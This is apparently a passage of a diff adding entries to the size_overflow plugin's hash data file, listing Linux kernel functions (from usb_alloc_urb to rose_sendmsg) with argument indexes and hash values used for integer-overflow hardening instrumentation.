++_000622_hash usb_alloc_urb 1 43436 _000622_hash NULL
++_000623_hash usblp_new_writeurb 2 22894 _000623_hash NULL
++_000624_hash usblp_write 3 23178 _000624_hash NULL
++_000625_hash usbtest_alloc_urb 3-5 34446 _000625_hash NULL
++_000627_hash usbtmc_write 3 64340 _000627_hash NULL
++_000628_hash user_instantiate 3 26131 _000628_hash NULL
++_000629_hash user_update 3 41332 _000629_hash NULL
++_000630_hash uwb_rc_cmd_done 4 35892 _000630_hash NULL
++_000631_hash uwb_rc_neh_grok_event 3 55799 _000631_hash NULL
++_000632_hash v9fs_alloc_rdir_buf 2 42150 _000632_hash NULL
++_000633_hash vc_do_resize 3-4 48842 _000633_hash NULL
++_000635_hash vcs_write 3 3910 _000635_hash NULL
++_000636_hash vga_arb_write 3 36112 _000636_hash NULL
++_000637_hash vga_switcheroo_debugfs_write 3 33984 _000637_hash NULL
++_000638_hash vhci_get_user 3 45039 _000638_hash NULL
++_000639_hash video_proc_write 3 6724 _000639_hash NULL
++_000640_hash vlsi_alloc_ring 3-4 57003 _000640_hash NULL
++_000642_hash __vmalloc 1 61168 _000642_hash NULL
++_000643_hash vmalloc_32 1 1135 _000643_hash NULL
++_000644_hash vmalloc_32_user 1 37519 _000644_hash NULL
++_000645_hash vmalloc_exec 1 36132 _000645_hash NULL
++_000646_hash vmalloc_node 1 58700 _000646_hash NULL
++_000647_hash __vmalloc_node_flags 1 30352 _000647_hash NULL
++_000648_hash vmalloc_user 1 32308 _000648_hash NULL
++_000649_hash vol_cdev_direct_write 3 20751 _000649_hash NULL
++_000650_hash vp_request_msix_vectors 2 28849 _000650_hash NULL
++_000651_hash vring_add_indirect 3-4 20737 _000651_hash NULL
++_000653_hash vring_new_virtqueue 1 9671 _000653_hash NULL
++_000654_hash vxge_os_dma_malloc 2 46184 _000654_hash NULL
++_000655_hash vxge_os_dma_malloc_async 3 56348 _000655_hash NULL
++_000656_hash wdm_write 3 53735 _000656_hash NULL
++_000657_hash wiimote_hid_send 3 48528 _000657_hash NULL
++_000658_hash wlc_phy_loadsampletable_nphy 3 64367 _000658_hash NULL
++_000659_hash write 3 62671 _000659_hash NULL
++_000660_hash write_flush 3 50803 _000660_hash NULL
++_000661_hash write_rio 3 54837 _000661_hash NULL
++_000662_hash x25_asy_change_mtu 2 26928 _000662_hash NULL
++_000663_hash xdi_copy_from_user 4 8395 _000663_hash NULL
++_000664_hash xfrm_dst_alloc_copy 3 3034 _000664_hash NULL
++_000665_hash xfrm_user_policy 4 62573 _000665_hash NULL
++_000666_hash xfs_attrmulti_attr_set 4 59346 _000666_hash NULL
++_000667_hash xfs_handle_to_dentry 3 12135 _000667_hash NULL
++_000668_hash xip_file_read 3 58592 _000668_hash NULL
++_000669_hash __xip_file_write 3-4 2733 _000669_hash NULL
++_000671_hash xprt_rdma_allocate 2 31372 _000671_hash NULL
++_000672_hash zd_usb_iowrite16v_async 3 23984 _000672_hash NULL
++_000673_hash zd_usb_read_fw 4 22049 _000673_hash NULL
++_000674_hash zerocopy_sg_from_iovec 3 11828 _000674_hash NULL
++_000675_hash __a2mp_build 3 60987 _000675_hash NULL
++_000677_hash acpi_ex_allocate_name_string 2-1 7685 _001169_hash NULL nohasharray
++_000678_hash acpi_os_allocate_zeroed 1 37422 _000678_hash NULL
++_000679_hash acpi_ut_initialize_buffer 2 47143 _002830_hash NULL nohasharray
++_000680_hash ad7879_spi_xfer 3 36311 _000680_hash NULL
++_000681_hash add_new_gdb 3 27643 _000681_hash NULL
++_000682_hash add_numbered_child 5 14273 _000682_hash NULL
++_000683_hash add_res_range 4 21310 _000683_hash NULL
++_000684_hash addtgt 3 54703 _000684_hash NULL
++_000685_hash add_uuid 4 49831 _000685_hash NULL
++_000686_hash afs_cell_alloc 2 24052 _000686_hash NULL
++_000687_hash aggr_recv_addba_req_evt 4 38037 _000687_hash NULL
++_000688_hash agp_create_memory 1 1075 _000688_hash NULL
++_000689_hash agp_create_user_memory 1 62955 _000689_hash NULL
++_000690_hash alg_setsockopt 5 20985 _000690_hash NULL
++_000691_hash alloc_async 1 14208 _000691_hash NULL
++_000692_hash ___alloc_bootmem_nopanic 1 53626 _000692_hash NULL
++_000693_hash alloc_buf 1 34532 _000693_hash NULL
++_000694_hash alloc_chunk 1 49575 _000694_hash NULL
++_000695_hash alloc_context 1 41283 _000695_hash NULL
++_000696_hash alloc_ctrl_packet 1 44667 _000696_hash NULL
++_000697_hash alloc_data_packet 1 46698 _000697_hash NULL
++_000698_hash alloc_dca_provider 2 59670 _000698_hash NULL
++_000699_hash __alloc_dev_table 2 54343 _000699_hash NULL
++_000700_hash alloc_ep 1 17269 _000700_hash NULL
++_000701_hash __alloc_extent_buffer 3 15093 _000701_hash NULL
++_000702_hash alloc_group_attrs 2 9194 _000727_hash NULL nohasharray
++_000703_hash alloc_large_system_hash 2 22391 _000703_hash NULL
++_000704_hash alloc_netdev_mqs 1 30030 _000704_hash NULL
++_000705_hash __alloc_objio_seg 1 7203 _000705_hash NULL
++_000706_hash alloc_ring 2-4 15345 _000706_hash NULL
++_000707_hash alloc_ring 2-4 39151 _000707_hash NULL
++_000710_hash alloc_session 1-2 64171 _000710_hash NULL
++_000714_hash alloc_skb 1 55439 _000714_hash NULL
++_000715_hash alloc_skb_fclone 1 3467 _000715_hash NULL
++_000716_hash alloc_smp_req 1 51337 _000716_hash NULL
++_000717_hash alloc_smp_resp 1 3566 _000717_hash NULL
++_000718_hash alloc_ts_config 1 45775 _000718_hash NULL
++_000719_hash alloc_upcall 2 62186 _000719_hash NULL
++_000720_hash altera_drscan 2 48698 _000720_hash NULL
++_000721_hash altera_irscan 2 62396 _000721_hash NULL
++_000722_hash altera_set_dr_post 2 54291 _000722_hash NULL
++_000723_hash altera_set_dr_pre 2 64862 _000723_hash NULL
++_000724_hash altera_set_ir_post 2 20948 _000724_hash NULL
++_000725_hash altera_set_ir_pre 2 54103 _000725_hash NULL
++_000726_hash altera_swap_dr 2 50090 _000726_hash NULL
++_000727_hash altera_swap_ir 2 9194 _000727_hash &_000702_hash
++_000728_hash amd_create_gatt_pages 1 20537 _000728_hash NULL
++_000729_hash aoechr_write 3 62883 _003674_hash NULL nohasharray
++_000730_hash applesmc_create_nodes 2 49392 _000730_hash NULL
++_000731_hash array_zalloc 1-2 7519 _000731_hash NULL
++_000733_hash arvo_sysfs_read 6 31617 _000733_hash NULL
++_000734_hash arvo_sysfs_write 6 3311 _000734_hash NULL
++_000735_hash asd_store_update_bios 4 10165 _000735_hash NULL
++_000736_hash ata_host_alloc 2 46094 _000736_hash NULL
++_000737_hash atalk_sendmsg 4 21677 _000737_hash NULL
++_000738_hash ath6kl_cfg80211_connect_event 7-9-8 13443 _000738_hash NULL
++_000739_hash ath6kl_mgmt_tx 9 21153 _000739_hash NULL
++_000740_hash ath6kl_wmi_proc_events_vif 5 42549 _003190_hash NULL nohasharray
++_000741_hash ath6kl_wmi_roam_tbl_event_rx 3 43440 _000741_hash NULL
++_000742_hash ath6kl_wmi_send_mgmt_cmd 7 17347 _000742_hash NULL
++_000743_hash ath_descdma_setup 5 12257 _000743_hash NULL
++_000744_hash ath_rx_edma_init 2 65483 _000744_hash NULL
++_000745_hash ati_create_gatt_pages 1 4722 _003275_hash NULL nohasharray
++_000746_hash audit_expand 2 2098 _000746_hash NULL
++_000747_hash audit_init_entry 1 38644 _000747_hash NULL
++_000748_hash ax25_sendmsg 4 62770 _000748_hash NULL
++_000749_hash b1_alloc_card 1 36155 _000749_hash NULL
++_000750_hash b43_nphy_load_samples 3 36481 _000750_hash NULL
++_000751_hash batadv_orig_hash_add_if 2 10033 _000751_hash NULL
++_000752_hash batadv_orig_hash_del_if 2 48972 _000752_hash NULL
++_000753_hash batadv_tt_append_diff 4 20588 _000753_hash NULL
++_000754_hash batadv_tt_commit_changes 4 2008 _000754_hash NULL
++_000755_hash batadv_tt_prepare_packet_buff 4 1280 _000755_hash NULL
++_000756_hash bio_copy_user_iov 4 37660 _000756_hash NULL
++_000757_hash __bio_map_kern 3 47379 _000757_hash NULL
++_000758_hash bitmap_resize 2 33054 _000758_hash NULL
++_000759_hash blk_check_plugged 3 50736 _000759_hash NULL
++_000760_hash blk_register_region 1-2 51424 _000760_hash NULL
++_000762_hash bm_entry_write 3 28338 _000762_hash NULL
++_000763_hash bm_realloc_pages 2 9431 _000763_hash NULL
++_000764_hash bm_register_write 3 9893 _000764_hash &_000579_hash
++_000765_hash bm_status_write 3 12964 _000765_hash NULL
++_000766_hash br_mdb_rehash 2 42643 _000766_hash NULL
++_000767_hash btmrvl_sdio_host_to_card 3 12152 _000767_hash NULL
++_000768_hash btrfs_copy_from_user 1-3 43806 _000768_hash NULL
++_000770_hash btrfs_insert_delayed_dir_index 4 63720 _000770_hash NULL
++_000771_hash __btrfs_map_block 3 49839 _000771_hash NULL
++_000772_hash c4iw_init_resource 2-3 30393 _000772_hash NULL
++_000774_hash cache_downcall 3 13666 _000774_hash NULL
++_000775_hash cache_slow_downcall 2 8570 _000775_hash NULL
++_000776_hash caif_seqpkt_sendmsg 4 22961 _000776_hash NULL
++_000777_hash caif_stream_sendmsg 4 9110 _000777_hash NULL
++_000778_hash carl9170_cmd_buf 3 950 _000778_hash NULL
++_000779_hash cdev_add 2-3 38176 _000779_hash NULL
++_000781_hash cdrom_read_cdda 4 50478 _000781_hash NULL
++_000782_hash ceph_dns_resolve_name 2 62488 _000782_hash NULL
++_000783_hash ceph_msgpool_get 2 54258 _000783_hash NULL
++_000784_hash cfg80211_connect_result 4-6 56515 _000784_hash NULL
++_000786_hash cfg80211_disconnected 4 57 _000786_hash NULL
++_000787_hash cfg80211_inform_bss 8 19332 _000787_hash NULL
++_000788_hash cfg80211_inform_bss_frame 4 41078 _000788_hash NULL
++_000789_hash cfg80211_mlme_register_mgmt 5 19852 _000789_hash NULL
++_000790_hash cfg80211_roamed_bss 4-6 50198 _000790_hash NULL
++_000792_hash cgroup_file_write 3 52417 _000792_hash NULL
++_000793_hash cifs_readdata_alloc 1 26360 _000793_hash NULL
++_000794_hash cifs_readv_from_socket 3 19109 _000794_hash NULL
++_000795_hash cifs_writedata_alloc 1 32880 _003097_hash NULL nohasharray
++_000796_hash cnic_alloc_dma 3 34641 _000796_hash NULL
++_000797_hash cnic_init_id_tbl 2 41354 _000797_hash NULL
++_000798_hash configfs_write_file 3 61621 _000798_hash NULL
++_000799_hash construct_key 3 11329 _000799_hash NULL
++_000800_hash context_alloc 3 24645 _000800_hash NULL
++_000801_hash copy_to_user 3 57835 _000801_hash NULL
++_000802_hash cp210x_get_config 4 56229 _000802_hash NULL
++_000803_hash create_attr_set 1 22861 _000803_hash NULL
++_000804_hash create_bounce_buffer 3 39155 _000804_hash NULL
++_000805_hash create_gpadl_header 2 19064 _000805_hash NULL
++_000806_hash _create_sg_bios 4 31244 _000806_hash NULL
++_000807_hash cryptd_alloc_instance 2-3 18048 _000807_hash NULL
++_000809_hash crypto_ahash_setkey 3 55134 _000809_hash NULL
++_000810_hash crypto_alloc_instance2 3 25277 _000810_hash NULL
++_000811_hash crypto_shash_setkey 3 60483 _000811_hash NULL
++_000812_hash cxgb_alloc_mem 1 24007 _000812_hash NULL
++_000813_hash cxgbi_device_portmap_create 3 25747 _000813_hash NULL
++_000814_hash cxgbi_device_register 1-2 36746 _000814_hash NULL
++_000816_hash __cxio_init_resource_fifo 3 23447 _000816_hash NULL
++_000817_hash dccp_sendmsg 4 56058 _000817_hash NULL
++_000818_hash ddp_make_gl 1 12179 _000818_hash NULL
++_000819_hash depth_write 3 3021 _000819_hash NULL
++_000820_hash dev_irnet_write 3 11398 _000820_hash NULL
++_000821_hash dev_set_alias 3 50084 _000821_hash NULL
++_000822_hash dev_write 3 7708 _000822_hash NULL
++_000823_hash dfs_global_file_write 3 6112 _000823_hash NULL
++_000824_hash dgram_sendmsg 4 45679 _000824_hash NULL
++_000825_hash disconnect 4 32521 _000825_hash NULL
++_000826_hash dma_attach 6-7 50831 _000826_hash NULL
++_000828_hash dma_declare_coherent_memory 4-2 14244 _000828_hash NULL
++_000829_hash dn_sendmsg 4 38390 _000829_hash NULL
++_000830_hash dn_setsockopt 5 314 _000830_hash NULL
++_000831_hash do_arpt_set_ctl 4 51053 _000831_hash NULL
++_000832_hash do_dccp_setsockopt 5 54377 _003195_hash NULL nohasharray
++_000833_hash do_ip6t_set_ctl 4 60040 _000833_hash NULL
++_000834_hash do_ipt_set_ctl 4 56238 _000834_hash NULL
++_000835_hash do_jffs2_setxattr 5 25910 _000835_hash NULL
++_000836_hash do_msgsnd 4 1387 _000836_hash NULL
++_000837_hash do_pselect 1 62061 _000837_hash NULL
++_000838_hash do_raw_setsockopt 5 55215 _000838_hash NULL
++_000839_hash do_readv_writev 4 51849 _000839_hash NULL
++_000840_hash do_sync 1 9604 _000840_hash NULL
++_000841_hash dup_array 3 33551 _000841_hash NULL
++_000842_hash ecryptfs_decode_and_decrypt_filename 5 10379 _000842_hash NULL
++_000843_hash ecryptfs_encrypt_and_encode_filename 6 2109 _000843_hash NULL
++_000844_hash ecryptfs_send_message_locked 2 31801 _000844_hash NULL
++_000845_hash edac_device_alloc_ctl_info 1 5941 _000845_hash NULL
++_000846_hash edac_mc_alloc 4 3611 _000846_hash NULL
++_000847_hash edac_pci_alloc_ctl_info 1 63388 _000847_hash NULL
++_000848_hash efivar_create_sysfs_entry 2 19485 _000848_hash NULL
++_000849_hash enable_write 3 30456 _000849_hash NULL
++_000850_hash enclosure_register 3 57412 _000850_hash NULL
++_000851_hash enlarge_skb 2 44248 _002839_hash NULL nohasharray
++_000852_hash evdev_ioctl_handler 2 21705 _000852_hash NULL
++_000853_hash ext4_kvzalloc 1 47605 _000853_hash NULL
++_000854_hash extend_netdev_table 2 21453 _000854_hash NULL
++_000855_hash fcoe_ctlr_device_add 3 1793 _000855_hash NULL
++_000856_hash fd_do_readv 3 51297 _000856_hash NULL
++_000857_hash fd_do_writev 3 29329 _000857_hash NULL
++_000858_hash __feat_register_sp 6 64712 _000858_hash NULL
++_000859_hash __ffs_ep0_read_events 3 48868 _000859_hash NULL
++_000860_hash ffs_ep0_write 3 9438 _000860_hash NULL
++_000861_hash ffs_epfile_read 3 18775 _000861_hash NULL
++_000862_hash ffs_epfile_write 3 48014 _000862_hash NULL
++_000863_hash fib_info_hash_alloc 1 9075 _000863_hash NULL
++_000864_hash fillonedir 3 41746 _000864_hash NULL
++_000865_hash fs_devrw_entry 3 11924 _000865_hash NULL
++_000866_hash fs_path_prepare_for_add 2 61854 _000866_hash NULL
++_000867_hash fuse_fill_write_pages 4 53682 _000867_hash NULL
++_000868_hash fw_device_op_ioctl 2 11595 _000868_hash NULL
++_000869_hash fw_iso_buffer_init 3 54582 _000869_hash NULL
++_000870_hash fw_node_create 2 9559 _000870_hash NULL
++_000871_hash garmin_read_process 3 27509 _000871_hash NULL
++_000872_hash garp_request_join 4 7471 _000872_hash NULL
++_000873_hash generic_perform_write 3 54832 _000873_hash NULL
++_000874_hash gen_pool_add_virt 4 39913 _000874_hash NULL
++_000875_hash get_derived_key 4 61100 _000875_hash NULL
++_000876_hash get_new_cssid 2 51665 _000876_hash NULL
++_000877_hash getxattr 4 24398 _003758_hash NULL nohasharray
++_000878_hash gsm_control_reply 4 53333 _000878_hash NULL
++_000879_hash hcd_alloc_coherent 5 55862 _000879_hash NULL
++_000880_hash hci_sock_sendmsg 4 37420 _000880_hash NULL
++_000881_hash hidraw_ioctl 2 63658 _000881_hash NULL
++_000882_hash hidraw_write 3 31536 _000882_hash NULL
++_000883_hash hid_register_field 2-3 4874 _000883_hash NULL
++_000885_hash hid_report_raw_event 4 2762 _000885_hash NULL
++_000886_hash hpi_alloc_control_cache 1 35351 _000886_hash NULL
++_000887_hash hugetlbfs_read_actor 2-5-4 34547 _000887_hash NULL
++_000890_hash hvc_alloc 4 12579 _000890_hash NULL
++_000891_hash __hwahc_dev_set_key 5 46328 _000891_hash NULL
++_000892_hash i2400m_zrealloc_2x 3 54166 _001549_hash NULL nohasharray
++_000893_hash ib_alloc_device 1 26483 _000893_hash NULL
++_000894_hash ib_create_send_mad 5 1196 _000894_hash NULL
++_000895_hash ibmasm_new_command 2 25714 _000895_hash NULL
++_000896_hash ib_send_cm_drep 3 50186 _000896_hash NULL
++_000897_hash ib_send_cm_mra 4 60202 _003063_hash NULL nohasharray
++_000898_hash ib_send_cm_rtu 3 63138 _000898_hash NULL
++_000899_hash ide_core_cp_entry 3 22636 _000899_hash NULL
++_000900_hash ieee80211_if_write_smps 3 35550 _000900_hash NULL
++_000901_hash ieee80211_if_write_tkip_mic_test 3 58748 _000901_hash NULL
++_000902_hash ieee80211_if_write_tsf 3 36077 _000902_hash NULL
++_000903_hash ieee80211_if_write_uapsd_max_sp_len 3 14233 _000903_hash NULL
++_000904_hash ieee80211_if_write_uapsd_queues 3 51526 _000904_hash NULL
++_000905_hash ieee80211_key_alloc 3 19065 _000905_hash NULL
++_000906_hash ieee80211_send_probe_req 6-4 6924 _000906_hash NULL
++_000907_hash ieee80211_skb_resize 3 50211 _000907_hash NULL
++_000908_hash if_spi_host_to_card 4 62890 _000908_hash NULL
++_000909_hash if_writecmd 2 815 _000909_hash NULL
++_000910_hash init_bch 1-2 64130 _000910_hash NULL
++_000912_hash init_ipath 1 48187 _000912_hash NULL
++_000913_hash init_list_set 2-3 39188 _000913_hash NULL
++_000915_hash init_q 4 132 _000915_hash NULL
++_000916_hash init_state 2 60165 _000916_hash NULL
++_000917_hash init_tag_map 3 57515 _000917_hash NULL
++_000918_hash input_ff_create 2 21240 _000918_hash NULL
++_000919_hash input_mt_init_slots 2 31183 _000919_hash NULL
++_000920_hash interfaces 2 38859 _000920_hash NULL
++_000921_hash int_hardware_entry 3 36833 _000921_hash NULL
++_000922_hash int_hw_irq_en 3 46776 _000922_hash NULL
++_000923_hash int_tasklet_entry 3 52500 _000923_hash NULL
++_000924_hash ioat2_alloc_ring 2 11172 _000924_hash NULL
++_000925_hash ip_generic_getfrag 3-4 12187 _000925_hash NULL
++_000927_hash ip_options_get_alloc 1 7448 _000927_hash NULL
++_000928_hash ipr_alloc_ucode_buffer 1 40199 _000928_hash NULL
++_000929_hash ip_set_alloc 1 57953 _000929_hash NULL
++_000930_hash ip_setsockopt 5 33487 _000930_hash NULL
++_000931_hash ipv6_flowlabel_opt 3 58135 _001179_hash NULL nohasharray
++_000932_hash ipv6_renew_options 5 28867 _000932_hash NULL
++_000933_hash ipv6_setsockopt 5 29871 _000933_hash NULL
++_000934_hash ipxrtr_route_packet 4 54036 _000934_hash NULL
++_000935_hash irda_sendmsg 4 4388 _000935_hash NULL
++_000936_hash irda_sendmsg_dgram 4 38563 _000936_hash NULL
++_000937_hash irda_sendmsg_ultra 4 42047 _000937_hash NULL
++_000938_hash irias_add_octseq_attrib 4 29983 _000938_hash NULL
++_000939_hash irq_alloc_generic_chip 2 26650 _000939_hash NULL
++_000940_hash iscsi_alloc_session 3 49390 _000940_hash NULL
++_000941_hash iscsi_create_conn 2 50425 _000941_hash NULL
++_000942_hash iscsi_create_endpoint 1 15193 _000942_hash NULL
++_000943_hash iscsi_create_iface 5 38510 _000943_hash NULL
++_000944_hash iscsi_decode_text_input 4 58292 _000944_hash NULL
++_000945_hash iscsi_pool_init 2-4 54913 _000945_hash NULL
++_000947_hash iscsit_dump_data_payload 2 38683 _000947_hash NULL
++_000948_hash isdn_write 3 45863 _000948_hash NULL
++_000949_hash isku_receive 4 54130 _000949_hash NULL
++_000950_hash islpci_mgt_transaction 5 23610 _000950_hash NULL
++_000951_hash iso_alloc_urb 4-5 45206 _000951_hash NULL
++_000952_hash iso_sched_alloc 1 13377 _003325_hash NULL nohasharray
++_000953_hash iwl_trans_txq_alloc 3 36147 _000953_hash NULL
++_000954_hash ixgbe_alloc_q_vector 4-6 24439 _000954_hash NULL
++_000956_hash jbd2_journal_init_revoke 2 51088 _000956_hash NULL
++_000957_hash jffs2_write_dirent 5 37311 _000957_hash NULL
++_000958_hash journal_init_revoke 2 56933 _000958_hash NULL
++_000959_hash keyctl_instantiate_key 3 41855 _000959_hash NULL
++_000960_hash keyctl_instantiate_key_iov 3 16969 _000960_hash NULL
++_000961_hash __kfifo_from_user 3 20399 _000961_hash NULL
++_000962_hash kimage_crash_alloc 3 3233 _000962_hash NULL
++_000963_hash kimage_normal_alloc 3 31140 _000963_hash NULL
++_000964_hash kmem_realloc 2 37489 _000964_hash NULL
++_000965_hash kmem_zalloc 1 11510 _000965_hash NULL
++_000966_hash koneplus_sysfs_read 6 42792 _000966_hash NULL
++_000967_hash kvm_kvzalloc 1 52894 _000967_hash NULL
++_000968_hash kvm_read_guest_page_mmu 6 37611 _000968_hash NULL
++_000969_hash kvm_set_irq_routing 3 48704 _000969_hash NULL
++_000970_hash kvm_write_guest_cached 4 11106 _000970_hash NULL
++_000971_hash kvm_write_guest_page 5 63555 _002812_hash NULL nohasharray
++_000972_hash kzalloc_node 1 24352 _000972_hash NULL
++_000973_hash l2cap_skbuff_fromiovec 3-4 35003 _000973_hash NULL
++_000975_hash l2tp_ip_sendmsg 4 50411 _000975_hash NULL
++_000976_hash l2tp_session_create 1 25286 _000976_hash NULL
++_000977_hash lc_create 3 48662 _000977_hash NULL
++_000978_hash leaf_dealloc 3 29566 _000978_hash NULL
++_000979_hash linear_conf 2 23485 _003837_hash NULL nohasharray
++_000980_hash llc_ui_sendmsg 4 24987 _000980_hash NULL
++_000981_hash load_module 2 60056 _003010_hash NULL nohasharray
++_000982_hash lpfc_sli4_queue_alloc 3 62646 _000982_hash NULL
++_000983_hash mdiobus_alloc_size 1 52259 _000983_hash NULL
++_000984_hash mempool_create_node 1 3191 _000984_hash NULL
++_000985_hash mem_read 3 57631 _000985_hash NULL
++_000986_hash memstick_alloc_host 1 142 _000986_hash NULL
++_000987_hash mem_swapout_entry 3 32586 _000987_hash NULL
++_000988_hash mem_write 3 22232 _000988_hash NULL
++_000989_hash mesh_table_alloc 1 22305 _000989_hash NULL
++_000990_hash mfd_add_devices 4 16668 _000990_hash NULL
++_000991_hash mISDN_sock_sendmsg 4 41035 _000991_hash NULL
++_000992_hash mlx4_init_icm_table 4-5 2151 _000992_hash NULL
++_000994_hash mmc_alloc_host 1 48097 _000994_hash NULL
++_000995_hash mmc_test_alloc_mem 2-3 28102 _000995_hash NULL
++_000997_hash mon_bin_ioctl 3 2771 _000997_hash NULL
++_000998_hash mpi_alloc 1 18094 _000998_hash NULL
++_000999_hash mpihelp_mul_karatsuba_case 5-3 23918 _003061_hash NULL nohasharray
++_001000_hash __mptctl_ioctl 2 15875 _001000_hash NULL
++_001001_hash mtd_concat_create 2 14416 _001001_hash NULL
++_001002_hash mthca_alloc_cq_buf 3 46512 _001002_hash NULL
++_001003_hash mvumi_alloc_mem_resource 3 47750 _001003_hash NULL
++_001004_hash mwifiex_11n_create_rx_reorder_tbl 4 63806 _001004_hash NULL
++_001005_hash mwifiex_alloc_sdio_mpa_buffers 2-3 60961 _001005_hash NULL
++_001007_hash mwl8k_cmd_set_beacon 4 23110 _001007_hash NULL
++_001008_hash neigh_hash_alloc 1 17595 _001008_hash NULL
++_001009_hash __netdev_alloc_skb 2 18595 _001009_hash NULL
++_001010_hash __netlink_change_ngroups 2 46156 _001010_hash NULL
++_001011_hash netlink_sendmsg 4 33708 _001236_hash NULL nohasharray
++_001012_hash netxen_alloc_sds_rings 2 13417 _001012_hash NULL
++_001013_hash new_bind_ctl 2 35324 _001013_hash NULL
++_001014_hash new_dir 3 31919 _001014_hash NULL
++_001015_hash new_tape_buffer 2 32866 _001015_hash NULL
++_001016_hash nfc_llcp_build_tlv 3 19536 _001016_hash NULL
++_001017_hash nfc_llcp_send_i_frame 3 59130 _001017_hash NULL
++_001018_hash nf_ct_ext_create 3 51232 _001018_hash NULL
++_001019_hash nfs4_alloc_pages 1 48426 _001019_hash NULL
++_001020_hash nfs4_alloc_slots 1 2454 _003345_hash NULL nohasharray
++_001021_hash nfsctl_transaction_write 3 64800 _001021_hash NULL
++_001022_hash nfs_fscache_get_super_cookie 3 44355 _001850_hash NULL nohasharray
++_001023_hash nfs_idmap_request_key 3 30208 _001023_hash NULL
++_001024_hash nfs_pgarray_set 2 1085 _001024_hash NULL
++_001025_hash nl_pid_hash_zalloc 1 23314 _001025_hash NULL
++_001026_hash nr_sendmsg 4 53656 _001026_hash NULL
++_001027_hash nsm_create_handle 4 38060 _001027_hash NULL
++_001028_hash ntfs_copy_from_user_iovec 3-6 49829 _001028_hash NULL
++_001030_hash ntfs_file_buffered_write 4-6 41442 _001030_hash NULL
++_001032_hash __ntfs_malloc 1 34022 _001032_hash NULL
++_001033_hash nvme_alloc_queue 3 46865 _001033_hash NULL
++_001034_hash nvme_map_user_pages 3-4 41093 _001639_hash NULL nohasharray
++_001036_hash ocfs2_acl_from_xattr 2 21604 _001036_hash NULL
++_001037_hash ocfs2_control_message 3 19564 _001037_hash NULL
++_001038_hash _ore_get_io_state 3-5-4 2166 _001038_hash NULL
++_001041_hash orinoco_set_key 5-7 17878 _001041_hash NULL
++_001043_hash osdmap_set_max_osd 2 57630 _002267_hash NULL nohasharray
++_001044_hash _osd_realloc_seg 3 54352 _001044_hash NULL
++_001045_hash osst_execute 7-6 17607 _001045_hash NULL
++_001046_hash osst_write 3 31581 _001046_hash NULL
++_001047_hash otp_read 2-5-4 10594 _001047_hash NULL
++_001050_hash ovs_vport_alloc 1 33475 _001050_hash NULL
++_001051_hash p54_parse_rssical 3 64493 _001051_hash NULL
++_001052_hash p9_client_zc_rpc 7 14345 _001052_hash NULL
++_001053_hash packet_sendmsg_spkt 4 28885 _001053_hash NULL
++_001054_hash pair_device 4 61175 _003161_hash NULL nohasharray
++_001055_hash pccard_store_cis 6 18176 _001055_hash NULL
++_001056_hash pci_add_cap_save_buffer 3 3426 _001056_hash NULL
++_001057_hash pcnet32_realloc_rx_ring 3 36598 _001057_hash NULL
++_001058_hash pcnet32_realloc_tx_ring 3 38428 _001058_hash NULL
++_001059_hash pcpu_mem_zalloc 1 22948 _001059_hash NULL
++_001060_hash pep_sendmsg 4 62524 _001060_hash NULL
++_001061_hash pfkey_sendmsg 4 47394 _001061_hash NULL
++_001062_hash pidlist_resize 2 496 _001062_hash NULL
++_001063_hash pin_code_reply 4 46510 _001063_hash NULL
++_001064_hash ping_getfrag 3-4 8360 _001064_hash NULL
++_001066_hash pipe_set_size 2 5204 _001066_hash NULL
++_001067_hash pkt_bio_alloc 1 48284 _001067_hash NULL
++_001068_hash platform_create_bundle 4-6 12785 _001068_hash NULL
++_001070_hash pm8001_store_update_fw 4 55716 _001070_hash NULL
++_001071_hash pmcraid_alloc_sglist 1 9864 _001071_hash NULL
++_001072_hash pn533_dep_link_up 5 22154 _001072_hash NULL
++_001073_hash pn533_init_target_frame 3 65438 _001073_hash NULL
++_001074_hash pnp_alloc 1 24869 _001538_hash NULL nohasharray
++_001075_hash pn_sendmsg 4 12640 _001075_hash NULL
++_001076_hash pppoe_sendmsg 4 48039 _001076_hash NULL
++_001077_hash pppol2tp_sendmsg 4 56420 _001077_hash NULL
++_001078_hash prism2_info_hostscanresults 3 39657 _001078_hash NULL
++_001079_hash process_vm_rw 3-5 47533 _001079_hash NULL
++_001081_hash process_vm_rw_single_vec 1-2 26213 _001081_hash NULL
++_001083_hash proc_write 3 51003 _001083_hash NULL
++_001084_hash profile_load 3 58267 _001084_hash NULL
++_001085_hash profile_remove 3 8556 _001085_hash NULL
++_001086_hash profile_replace 3 14652 _001086_hash NULL
++_001087_hash pscsi_get_bio 1 56103 _001087_hash NULL
++_001088_hash __pskb_copy 2 9038 _001088_hash NULL
++_001089_hash __pskb_pull_tail 2 60287 _001089_hash NULL
++_001090_hash qla4xxx_alloc_work 2 44813 _001090_hash NULL
++_001091_hash qlcnic_alloc_msix_entries 2 46160 _001091_hash NULL
++_001092_hash qlcnic_alloc_sds_rings 2 26795 _001092_hash NULL
++_001093_hash queue_received_packet 5 9657 _001093_hash NULL
++_001094_hash raw_send_hdrinc 4 58803 _001094_hash NULL
++_001095_hash raw_sendmsg 4 23078 _003316_hash NULL nohasharray
++_001096_hash rawsock_sendmsg 4 60010 _001096_hash NULL
++_001097_hash rawv6_send_hdrinc 3 35425 _001097_hash NULL
++_001098_hash rawv6_setsockopt 5 56165 _001098_hash NULL
++_001099_hash rb_alloc 1 3102 _001099_hash NULL
++_001100_hash rbd_alloc_coll 1 33678 _001100_hash NULL
++_001101_hash rbd_create_rw_ops 1 55297 _001101_hash NULL
++_001102_hash rds_ib_inc_copy_to_user 3 55007 _001102_hash NULL
++_001103_hash rds_iw_inc_copy_to_user 3 29214 _001103_hash NULL
++_001104_hash rds_message_alloc 1 10517 _001104_hash NULL
++_001105_hash rds_message_copy_from_user 3 45510 _001105_hash NULL
++_001106_hash rds_message_inc_copy_to_user 3 26540 _001106_hash NULL
++_001107_hash regcache_rbtree_insert_to_block 5 58009 _001107_hash NULL
++_001108_hash _regmap_raw_write 4 42652 _001108_hash NULL
++_001109_hash regmap_register_patch 3 21681 _001109_hash NULL
++_001110_hash relay_alloc_page_array 1 52735 _001110_hash NULL
++_001111_hash remove_uuid 4 64505 _001111_hash NULL
++_001112_hash reshape_ring 2 29147 _001112_hash NULL
++_001113_hash RESIZE_IF_NEEDED 2 56286 _001113_hash NULL
++_001114_hash resize_info_buffer 2 62889 _001114_hash NULL
++_001115_hash resize_stripes 2 61650 _001115_hash NULL
++_001116_hash rfcomm_sock_sendmsg 4 37661 _003661_hash NULL nohasharray
++_001117_hash roccat_common2_send_with_status 4 50343 _001117_hash NULL
++_001118_hash rose_sendmsg 4 20249 _001118_hash NULL
